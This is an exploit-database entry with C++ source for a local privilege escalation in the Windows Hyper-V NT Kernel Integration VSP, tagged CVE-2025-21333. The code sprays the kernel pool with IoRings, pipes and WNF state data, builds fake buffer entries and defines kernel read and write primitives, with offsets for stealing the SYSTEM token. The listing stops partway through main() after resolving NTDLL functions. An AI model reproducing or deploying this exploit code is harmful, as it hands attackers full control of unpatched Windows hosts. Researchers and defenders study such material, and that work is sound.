Microsoft Windows Server 2025 Hyper-V NT Kernel Integration VSP - Elevation of Privilege



EKU-ID: 56296 CVE: CVE-2025-21333 OSVDB-ID:
Author: Milad Karimi (Ex3ptionaL) Published: 2025-09-16 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Microsoft Windows Server 2025 Hyper-V NT Kernel Integration VSP - Elevation of Privilege
# Date: 2025-09-10
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# CVE : CVE-2025-21333


#include <iostream>
#include <Windows.h>
#include <combaseapi.h>
#include <iostream>
#include <sstream>
#include "Hexdump.hpp"
#include <ioringapi.h>
#include <tlhelp32.h>
#include <DbgEng.h>
#include <aclapi.h>
#include "wnf.h"
#include <vector>
#include <algorithm>
#include <tuple>

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "Rpcrt4.lib")

#define STATENAMES1_SIZE 0x2000
#define IORINGS_SIZE 0x500
#define SPRAY_PIPE_COUNT 0x500
#define STATENAMES2_SIZE 0x2000
#define STATENAMES3_SIZE 0x800
#define EPROCESS_UNIQUEPROCESSID_OFFSET 0x440
#define EPROCESS_FLINK_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8
#define SEP_TOKEN_PRIVILEGES_OFFSET 0x40
#define INTEGRITYLEVELINDEX_OFFSET 0xd0
#define NPFS_NPFSDCREATE_OFFSET 0xcfc0
#define NPFS_GOT_ALLOCATEPOOL2_OFFSET 0x7050
#define NT_ALLOCATEPOOL2_OFFSET 0xaaa3b0
#define NT_INITIALSYSTEMPROCESS_OFFSET 0xd1ea60
#define ROOT_PIPE_ATTRIBUTE_OFFSET 0x140
#define FILE_OBJECT_OFFSET 0x30
#define OBJECT_HEADER_SIZE 0x30
#define TARGET_SIZE 0x50
#define REGBUFFERCOUNT (TARGET_SIZE-0x10)/sizeof(PVOID)
#define OBJECT_HEADER_NAMEINFO_SIZE 0x20
#define REGBUFFERS_TAG 0x42527249
#define PIPEATTRIBUTE_TAG 0x7441704e
#define OUTPUT_PIPE_NAME L"\\\\.\\pipe\\IoRingExploitOutput"
#define INPUT_PIPE_NAME L"\\\\.\\pipe\\IoRingExploitInput"
#define WNF_MAX_DATA_SIZE 0x1000
#define ROUND_DOWN(n, align) (((ULONG)n) & ~((align) - 1l))
#define ROUND_UP(n, align) ROUND_DOWN(((ULONG)n) + (align) - 1, (align))

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
    (p)->RootDirectory = r; \
    (p)->Attributes = a; \
    (p)->ObjectName = n; \
    (p)->SecurityDescriptor = s; \
    (p)->SecurityQualityOfService = NULL; \
    }

/* Documented in "Windows NT/2000 Native API Reference" by Gary Nebbett. */
typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
    LARGE_INTEGER IdleTime;
    LARGE_INTEGER ReadTransferCount;
    LARGE_INTEGER WriteTransferCount;
    LARGE_INTEGER OtherTransferCount;
    ULONG ReadOperationCount;
    ULONG WriteOperationCount;
    ULONG OtherOperationCount;
    ULONG AvailablePages;
    ULONG TotalCommittedPages;
    ULONG TotalCommitLimit;
    ULONG PeakCommitment;
    ULONG PageFaults;
    ULONG WriteCopyFaults;
    ULONG TransitionFaults;
    ULONG Reserved1;
    ULONG DemandZeroFaults;
    ULONG PagesRead;
    ULONG PageReadIos;
    ULONG Reserved2[2];
    ULONG PagefilePagesWritten;
    ULONG PagefilePageWriteIos;
    ULONG MappedFilePagesWritten;
    ULONG MappedFilePageWriteIos;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
    ULONG PagedPoolAllocs;
    ULONG PagedPoolFrees;
    ULONG NonPagedPoolAllocs;
    ULONG NonPagedPoolFrees;
    ULONG TotalFreeSystemPtes;
    ULONG SystemCodePage;
    ULONG TotalSystemDriverPages;
    ULONG TotalSystemCodePages;
    ULONG SmallNonPagedLookasideListAllocateHits;
    ULONG SmallPagedLookasideListAllocateHits;
    ULONG Reserved3;
    ULONG MmSystemCachePage;
    ULONG PagedPoolPage;
    ULONG SystemDriverPage;
    ULONG FastReadNoWait;
    ULONG FastReadWait;
    ULONG FastReadResourceMiss;
    ULONG FastReadNotPossible;
    ULONG FastMdlReadNoWait;
    ULONG FastMdlReadWait;
    ULONG FastMdlReadResourceMiss;
    ULONG FastMdlReadNotPossible;
    ULONG MapDataNoWait;
    ULONG MapDataWait;
    ULONG MapDataNoWaitMiss;
    ULONG MapDataWaitMiss;
    ULONG PinMappedDataCount;
    ULONG PinReadNoWait;
    ULONG PinReadWait;
    ULONG PinReadNoWaitMiss;
    ULONG PinReadWaitMiss;
    ULONG CopyReadNoWait;
    ULONG CopyReadWait;
    ULONG CopyReadNoWaitMiss;
    ULONG CopyReadWaitMiss;
    ULONG MdlReadNoWait;
    ULONG MdlReadWait;
    ULONG MdlReadNoWaitMiss;
    ULONG MdlReadWaitMiss;
    ULONG ReadAheadIos;
    ULONG LazyWriteIos;
    ULONG LazyWritePages;
    ULONG DataFlushes;
    ULONG DataPages;
    ULONG ContextSwitches;
    ULONG FirstLevelTbFills;
    ULONG SecondLevelTbFills;
    ULONG SystemCalls;
} SYSTEM_PERFORMANCE_INFORMATION, * PSYSTEM_PERFORMANCE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );




typedef enum _PROCESSINFOCLASS {
    ProcessBasicInformation = 0,
    ProcessQuotaLimits = 1,
    ProcessIoCounters = 2,
    ProcessVmCounters = 3,
    ProcessTimes = 4,
    ProcessBasePriority = 5,
    ProcessRaisePriority = 6,
    ProcessDebugPort = 7,
    ProcessExceptionPort = 8,
    ProcessAccessToken = 9,
    ProcessLdtInformation = 10,
    ProcessLdtSize = 11,
    ProcessDefaultHardErrorMode = 12,
    ProcessIoPortHandlers = 13,
    ProcessPooledUsageAndLimits = 14,
    ProcessWorkingSetWatch = 15,
    ProcessUserModeIOPL = 16,
    ProcessEnableAlignmentFaultFixup = 17,
    ProcessPriorityClass = 18,
    ProcessWx86Information = 19,
    ProcessHandleCount = 20,
    ProcessAffinityMask = 21,
    ProcessPriorityBoost = 22,
    ProcessDeviceMap = 23,
    ProcessSessionInformation = 24,
    ProcessForegroundInformation = 25,
    ProcessWow64Information = 26,
    ProcessImageFileName = 27,
    ProcessLUIDDeviceMapsEnabled = 28,
    ProcessBreakOnTermination = 29,
    ProcessDebugObjectHandle = 30,
    ProcessDebugFlags = 31,
    ProcessHandleTracing = 32,
    ProcessIoPriority = 33,
    ProcessExecuteFlags = 34,
    ProcessTlsInformation = 35,
    ProcessCookie = 36,
    ProcessImageInformation = 37,
    ProcessCycleTime = 38,
    ProcessPagePriority = 39,
    ProcessInstrumentationCallback = 40,
    ProcessThreadStackAllocation = 41,
    ProcessWorkingSetWatchEx = 42,
    ProcessImageFileNameWin32 = 43,
    ProcessImageFileMapping = 44,
    ProcessAffinityUpdateMode = 45,
    ProcessMemoryAllocationMode = 46,
    ProcessGroupInformation = 47,
    ProcessTokenVirtualizationEnabled = 48,
    ProcessConsoleHostProcess = 49,
    ProcessWindowInformation = 50,
    ProcessHandleInformation = 51,
    ProcessMitigationPolicy = 52,
    ProcessDynamicFunctionTableInformation = 53,
    ProcessHandleCheckingMode = 54,
    ProcessKeepAliveCount = 55,
    ProcessRevokeFileHandles = 56,
    ProcessWorkingSetControl = 57,
    ProcessHandleTable = 58,
    ProcessCheckStackExtentsMode = 59,
    ProcessCommandLineInformation = 60,
    ProcessProtectionInformation = 61,
    ProcessMemoryExhaustion = 62,
    ProcessFaultInformation = 63,
    ProcessTelemetryIdInformation = 64,
    ProcessCommitReleaseInformation = 65,
    ProcessDefaultCpuSetsInformation = 66,
    ProcessAllowedCpuSetsInformation = 67,
    ProcessSubsystemProcess = 68,
    ProcessJobMemoryInformation = 69,
    ProcessInPrivate = 70,
    ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
    ProcessIumChallengeResponse = 72,
    ProcessChildProcessInformation = 73,
    ProcessHighGraphicsPriorityInformation = 74,
    ProcessSubsystemInformation = 75,
    ProcessEnergyValues = 76,
    ProcessPowerThrottlingState = 77,
    ProcessReserved3Information = 78,
    ProcessWin32kSyscallFilterInformation = 79,
    ProcessDisableSystemAllowedCpuSets = 80,
    ProcessWakeInformation = 81,
    ProcessEnergyTrackingState = 82,
    ProcessManageWritesToExecutableMemory = 83,
    ProcessCaptureTrustletLiveDump = 84,
    ProcessTelemetryCoverage = 85,
    ProcessEnclaveInformation = 86,
    ProcessEnableReadWriteVmLogging = 87,
    ProcessUptimeInformation = 88,
    ProcessImageSection = 89,
    ProcessDebugAuthInformation = 90,
    ProcessSystemResourceManagement = 91,
    ProcessSequenceNumber = 92,
    ProcessLoaderDetour = 93,
    ProcessSecurityDomainInformation = 94,
    ProcessCombineSecurityDomainsInformation = 95,
    ProcessEnableLogging = 96,
    ProcessLeapSecondInformation = 97,
    ProcessFiberShadowStackAllocation = 98,
    ProcessFreeFiberShadowStackAllocation = 99,
    ProcessAltSystemCallInformation = 100,
    ProcessDynamicEHContinuationTargets = 101,
    ProcessDynamicEnforcedCetCompatibleRanges = 102,
    ProcessCreateStateChange = 103,
    ProcessApplyStateChange = 104,
    ProcessEnableOptionalXStateFeatures = 105,
    ProcessAltPrefetchParam = 106,
    ProcessAssignCpuPartitions = 107,
    ProcessPriorityClassEx = 108,
    ProcessMembershipInformation = 109,
} PROCESSINFOCLASS;

typedef struct _SEP_TOKEN_PRIVILEGES
{
    ULONGLONG Present; //0x0
    ULONGLONG Enabled; //0x8
    ULONGLONG EnabledByDefault; //0x10
}SEP_TOKEN_PRIVILEGES, * PSEP_TOKEN_PRIVILEGES;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

using myNtFsControlFile = NTSTATUS(WINAPI*)(
    IN HANDLE FileHandle,
    IN HANDLE Event OPTIONAL,
    IN PVOID ApcRoutine OPTIONAL,
    IN PVOID ApcContext OPTIONAL,
    OUT PVOID IoStatusBlock,
    IN ULONG FsControlCode,
    IN PVOID InputBuffer OPTIONAL,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer OPTIONAL,
    IN ULONG OutputBufferLength);

// handle information
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// handle table information
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PSECURITY_DESCRIPTOR SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    PVOID Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID Reserved4[3];
    PVOID AtlThunkSListPtr;
    PVOID Reserved5;
    ULONG Reserved6;
    PVOID Reserved7;
    ULONG Reserved8;
    ULONG AtlThunkSListPtr32;
    PVOID Reserved9[45];
    BYTE Reserved10[96];
    PVOID PostProcessInitRoutine;
    BYTE Reserved11[128];
    PVOID Reserved12[1];
    ULONG SessionId;
} PEB, * PPEB;

typedef LONG KPRIORITY;

typedef struct _POOL_HEADER
{
    union
    {
        struct
        {
            USHORT PreviousSize : 8; //0x0
            USHORT PoolIndex : 8; //0x0
            USHORT BlockSize : 8; //0x2
            USHORT PoolType : 8; //0x2
        };
        ULONG Ulong1; //0x0
    };
    ULONG PoolTag; //0x4
    union
    {
        PVOID ProcessBilled; //0x8
        struct
        {
            USHORT AllocatorBackTraceIndex; //0x8
            USHORT PoolTagHash; //0xa
        };
    };
}POOL_HEADER, * PPOOL_HEADER;

//0x8 bytes (sizeof)
struct _NT_IORING_CREATE_FLAGS
{
    enum _NT_IORING_CREATE_REQUIRED_FLAGS Required; //0x0
    enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory; //0x4
};

//0x30 bytes (sizeof)
typedef struct _NT_IORING_INFO
{
    enum IORING_VERSION IoRingVersion; //0x0
    struct _NT_IORING_CREATE_FLAGS Flags; //0x4
    ULONG SubmissionQueueSize; //0xc
    ULONG SubmissionQueueRingMask; //0x10
    ULONG CompletionQueueSize; //0x14
    ULONG CompletionQueueRingMask; //0x18
    PVOID SubmissionQueue; //0x20
    PVOID CompletionQueue; //0x28
}NT_IORING_INFO, * PNT_IORING_INFO;


typedef struct _KEVENT {
    unsigned char Header[0x18];
} KEVENT, * PKEVENT, * PRKEVENT;

//0x80 bytes (sizeof)
typedef struct _IOP_MC_BUFFER_ENTRY
{
    USHORT Type; //0x0
    USHORT Reserved; //0x2
    ULONG Size; //0x4
    LONG ReferenceCount; //0x8
    enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags; //0xc
    struct _LIST_ENTRY GlobalDataLink; //0x10
    PVOID Address; //0x20
    ULONG Length; //0x28
    CHAR AccessMode; //0x2c
    LONG MdlRef; //0x30
    PVOID Mdl; //0x38
    struct _KEVENT MdlRundownEvent; //0x40
    ULONGLONG* PfnArray; //0x58
    BYTE dummy[0x20]; //0x60
}IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;



typedef struct _UIORING
{
    HANDLE handle;
    NT_IORING_INFO Info;
    UINT32 IoRingKernelAcceptedVersion;
    PVOID RegBufferArray; // Pointer to array of IORING opperations
    UINT32 BufferArraySize; // Size of array of opperation pointers
    PVOID Unknown;
    UINT32 FileHandlesCount;
    UINT32 SubQueueHead;
    UINT32 SubQueueTail;
}UIORING, * PUIORING;

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

using NtCreateCrossVmEvent = NTSTATUS(NTAPI*)(PHANDLE EventHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    ULONG Unknown1,
    PVOID Unknown2,
    IN GUID* Guid
    );

using NtQueryInformationProcess = NTSTATUS(WINAPI*)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );

HANDLE GetWinSBXCliProcHandle() {
    HANDLE hProcess = NULL;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return NULL;
    }
    if (!Process32First(hSnapshot, &pe32)) {
        CloseHandle(hSnapshot);
        return NULL;
    }
    do {
        if (wcscmp(pe32.szExeFile, L"WindowsSandboxClient.exe") == 0) {
            hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
pe32.th32ProcessID);
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));
    CloseHandle(hSnapshot);
    return hProcess;
}

using myNtUpdateWnfStateData =
NTSTATUS(
    NTAPI*)
    (
        _In_ PCWNF_STATE_NAME StateName,
        _In_reads_bytes_opt_(Length) const VOID* Buffer,
        _In_opt_ ULONG Length,
        _In_opt_ PCWNF_TYPE_ID TypeId,
        _In_opt_ const VOID* ExplicitScope,
        _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
        _In_ LOGICAL CheckStamp
        );

using myNtCreateWnfStateName =
NTSTATUS(
    NTAPI*)
    (
        _Out_ PWNF_STATE_NAME StateName,
        _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
        _In_ WNF_DATA_SCOPE DataScope,
        _In_ BOOLEAN PersistData,
        _In_opt_ PCWNF_TYPE_ID TypeId,
        _In_ ULONG MaximumStateSize,
        _In_ PSECURITY_DESCRIPTOR SecurityDescriptor
        );

using myNtDeleteWnfStateName =
NTSTATUS(
    NTAPI*)
    (
        _Out_ PWNF_STATE_NAME StateName
        );

using myNtQueryWnfStateData =
NTSTATUS(
    NTAPI*)(
        _In_ PCWNF_STATE_NAME StateName,
        _In_opt_ PCWNF_TYPE_ID TypeId,
        _In_opt_ const VOID* ExplicitScope,
        _Out_ PWNF_CHANGE_STAMP ChangeStamp,
        _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
        _Inout_ PULONG BufferSize
        );


using myNtDeleteWnfStateData =
NTSTATUS(
    NTAPI*)
    (
        _In_ PCWNF_STATE_NAME StateName,
        _In_opt_ const VOID* ExplicitScope
        );


typedef struct _WNF_STATE_CORRUPTED {
    WNF_STATE_NAME state;
    unsigned long long val;
    ULONG dataSize;
} WNF_STATE_CORRUPTED, * PWNF_STATE_CORRUPTED;

typedef struct _TEMP_ARRAY_ELEMENT {
    PISID Sid;
    ULONG SidLength;
} TEMP_ARRAY_ELEMENT;


typedef struct _SPRAY_PIPE {
    HANDLE pipe_read;
    HANDLE pipe_write;
}SPRAY_PIPE, * PSPRAY_PIPE;

PUIORING puioring = NULL;
PVOID ioringaddress = NULL;
HIORING targetHandle = NULL;
IOP_MC_BUFFER_ENTRY* fake_bufferentry = NULL;
UINT_PTR userData = 0x41414141;
ULONG numberOfFakeBuffers = 100;
PVOID addressForFakeBuffers = NULL;
HANDLE inputPipe = INVALID_HANDLE_VALUE;
HANDLE outputPipe = INVALID_HANDLE_VALUE;
HANDLE inputClientPipe = INVALID_HANDLE_VALUE;
HANDLE outputClientPipe = INVALID_HANDLE_VALUE;
IORING_BUFFER_INFO preregBuffers[REGBUFFERCOUNT] = { 0 };
PUIORING* iorings = NULL;
SPRAY_PIPE* spray_pipes = NULL;
SIZE_T attribute_size = TARGET_SIZE - 0x38;
unsigned char* attribute = NULL;
unsigned char* output = NULL;
SIZE_T output_size = 0x100;

BOOL prepare() {
    iorings = new PUIORING[IORINGS_SIZE];
    HRESULT result;
    IORING_CREATE_FLAGS flags;
    spray_pipes = new SPRAY_PIPE[SPRAY_PIPE_COUNT];

    for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
        if (!CreatePipe(&spray_pipes[i].pipe_read,
&spray_pipes[i].pipe_write, NULL, NULL)) {
            std::cout << "CreatePipe failed with error " << GetLastError()
<< " index " << i << std::endl;
        }
    }

    attribute = new unsigned char[0x1000];
    memset(attribute, 0x41, 0x1000);
    attribute[0] = 'Z';
    attribute[1] = '\0';
    output = new unsigned char[output_size];
    memset(output, 0x0, 0x100);

    flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    fake_bufferentry =
reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(VirtualAlloc(NULL, 0x5000,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
    VirtualLock(fake_bufferentry, 0x5000);
    fake_bufferentry =
reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(reinterpret_cast<unsigned
char*>(fake_bufferentry) + 0x3000);
    memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    //pre-register buffer array with len=REGBUFFERCOUNT
    preregBuffers[0].Address = VirtualAlloc(NULL, 0x1000, MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE);
    if (!preregBuffers[0].Address)
    {
        printf("[-] Failed to allocate prereg buffer\n");
        return FALSE;
    }
    memset(preregBuffers[0].Address, 0x41, 0x100);
    preregBuffers[0].Length = 0x10;

    for (int i = 0; i < IORINGS_SIZE; i++) {
        result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000,
reinterpret_cast<HIORING*>(&(iorings[i])));
        if (!SUCCEEDED(result))
        {
            printf("[-] Failed creating IO ring handle: 0x%x\n", result);
        }
        //printf("[+] Created IoRing. puioring=0x%p\n", iorings[i]);

        result =
BuildIoRingRegisterBuffers(reinterpret_cast<HIORING>(iorings[i]),
REGBUFFERCOUNT, preregBuffers, 0);
        if (!SUCCEEDED(result))
        {
            printf("[-] Failed BuildIoRingRegisterBuffers: 0x%x\n", result);
        }
    }

    // Create named pipes for the input/output of the I/O operations
    // and open client handles for them
    //
    inputPipe = CreateNamedPipe(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX,
PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    if (inputPipe == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to create input pipe: 0x%x\n", GetLastError());
        return FALSE;
    }
    outputPipe = CreateNamedPipe(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX,
PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    if (outputPipe == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to create output pipe: 0x%x\n", GetLastError());
        return FALSE;
    }

    outputClientPipe = CreateFile(OUTPUT_PIPE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (outputClientPipe == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to open handle to output file: 0x%x\n",
GetLastError());
        return FALSE;
    }

    inputClientPipe = CreateFile(INPUT_PIPE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (inputClientPipe == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to open handle to input pipe: 0x%x\n",
GetLastError());
        return FALSE;
    }

    return TRUE;
}

BOOL KWrite(PVOID TargetAddress, PBYTE pValue, SIZE_T size) {

    DWORD bytesWritten = 0;
    HRESULT result;
    UINT32 submittedEntries;
    IORING_CQE cqe;

    //printf("[*] Writing to %p the following bytes\n", TargetAddress);
    //printf("[*] pValue = 0x%p\n", pValue);
    //printf("[*] data: ");
    //for (int i = 0; i < size; i++) {
    // printf("0x%x ", pValue[i]);
    //}
    //printf("\n");
    if (WriteFile(inputPipe, pValue, size, &bytesWritten, NULL) == FALSE)
    {
        result = GetLastError();
        printf("[-] Failed to write into the input pipe: 0x%x\n", result);
        return FALSE;
    }
    //printf("[*] bytesWritten = %d\n", bytesWritten);
    //
    // Setup another buffer entry, with the address of ioring->RegBuffers
as the target
    // Use the client's handle of the input pipe for the read operation
    //
    memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    fake_bufferentry->Address = TargetAddress;
    fake_bufferentry->Length = size;
    fake_bufferentry->Type = 0xc02;
    fake_bufferentry->Size = 0x80;
    fake_bufferentry->AccessMode = 1;
    fake_bufferentry->ReferenceCount = 1;

    auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    auto requestDataFile = IoRingHandleRefFromHandle(inputClientPipe);

    //printf("[*] performing buildIoRingReadFile\n");
    result = BuildIoRingReadFile(targetHandle,
        requestDataFile,
        requestDataBuffer,
        size,
        0,
        NULL,
        IOSQE_FLAGS_NONE);
    if (!SUCCEEDED(result))
    {
        printf("[-] Failed building IO ring read file structure: 0x%x\n",
result);
        return FALSE;
    }

    result = SubmitIoRing(targetHandle, 1, INFINITE, &submittedEntries);
    if (!SUCCEEDED(result))
    {
        printf("[-] Failed submitting IO ring: 0x%x\n", result);
        return FALSE;
    }
    //printf("[*] submittedEntries = %d\n", submittedEntries);
    return TRUE;
}

BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {
    DWORD bytesRead = 0;
    HRESULT result;
    UINT32 submittedEntries;
    IORING_CQE cqe;

    memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    fake_bufferentry->Address = TargetAddress;
    fake_bufferentry->Length = size;
    fake_bufferentry->Type = 0xc02;
    fake_bufferentry->Size = 0x80;
    fake_bufferentry->AccessMode = 1;
    fake_bufferentry->ReferenceCount = 1;

    auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);

    result = BuildIoRingWriteFile(targetHandle,
        requestDataFile,
        requestDataBuffer,
        size,
        0,
        FILE_WRITE_FLAGS_NONE,
        NULL,
        IOSQE_FLAGS_NONE);
    if (!SUCCEEDED(result))
    {
        printf("[-] Failed building IO ring read file structure: 0x%x\n",
result);
        return FALSE;
    }

    result = SubmitIoRing(targetHandle, 1, INFINITE, &submittedEntries);
    if (!SUCCEEDED(result))
    {
        printf("[-] Failed submitting IO ring: 0x%x\n", result);
        return FALSE;
    }
    //printf("[*] submittedEntries = %d\n", submittedEntries);
    //
    // Check the completion queue for the actual status code for the
operation
    //
    result = PopIoRingCompletion(targetHandle, &cqe);
    if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))
    {
        printf("[-] Failed reading kernel memory 0x%x\n", cqe.ResultCode);
        return FALSE;
    }

    BOOL res = ReadFile(outputPipe,
        pOut,
        size,
        &bytesRead,
        NULL);
    if (!res)
    {
        printf("[-] Failed to read from output pipe: 0x%x\n",
GetLastError());
        return FALSE;
    }
    //printf("[+] Successfully read %d bytes from kernel address 0x%p.\n",
bytesRead, TargetAddress);
    return res;
}

int main()
{
    //printf("creating event\n");

    //////getchar();

    HANDLE hEvent;
    GUID guid, guid2;
    ULONG ReturnLength = 0;
    LPOLESTR guidstr = (LPOLESTR)new char[0x100];
    LPOLESTR guidstr2 = (LPOLESTR)new char[0x100];
    STARTUPINFOA si;
    unsigned char* status[0x30] = { 0 };
    PROCESS_INFORMATION pi;
    DWORD64 out = 0;
    DWORD64 fileObject = 0;
    DWORD64 driverObject = 0;
    DWORD64 deviceObject = 0;
    POOL_HEADER* ph = NULL;
    DWORD64 pNpFsdCreate = 0;
    DWORD64* data = NULL;
    unsigned char* ptr3 = NULL;
    DWORD64 pExAllocatePool2 = 0;
    DWORD64 system_eproc = 0;
    DWORD64 system_token = 0;
    DWORD64 cur_eproc = 0;
    HANDLE hWinsbxclientproc;
    PROCESS_BASIC_INFORMATION pbi;
    long long offset = 0;
    PEB peb;
    PRTL_USER_PROCESS_PARAMETERS processParams =
reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS>(new char[0x1000]);
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    si.dwFlags |= STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE; // Hide the window
    OBJECT_ATTRIBUTES oa = { 0 };
    unsigned long cnt = 0;
    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_DESCRIPTOR sd_spraying = { 0 };
    SECURITY_DESCRIPTOR* psd;
    ULONG stamp = 0;
    WNF_STATE_CORRUPTED* regBuffersControllerWNF = NULL;
    PACL pdacl;
    ACCESS_ALLOWED_ACE* newace =
reinterpret_cast<ACCESS_ALLOWED_ACE*>(VirtualAlloc(NULL, 0x10000,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
    ACCESS_ALLOWED_ACE* ace;
    ACCESS_ALLOWED_ACE* other_ace;
    myNtCreateWnfStateName fNtCreateWnfStateName =
(myNtCreateWnfStateName)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtCreateWnfStateName");
    myNtDeleteWnfStateName fNtDeleteWnfStateName =
(myNtDeleteWnfStateName)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtDeleteWnfStateName");
    myNtUpdateWnfStateData fNtUpdateWnfStateData =
(myNtUpdateWnfStateData)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtUpdateWnfStateData");
    myNtDeleteWnfStateData fNtDeleteWnfStateData =
(myNtDeleteWnfStateData)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtDeleteWnfStateData");
    myNtQueryWnfStateData fNtQueryWnfStateData =
(myNtQueryWnfStateData)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtQueryWnfStateData");
    myNtFsControlFile fNtFsControlFile =
(myNtFsControlFile)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtFsControlFile");
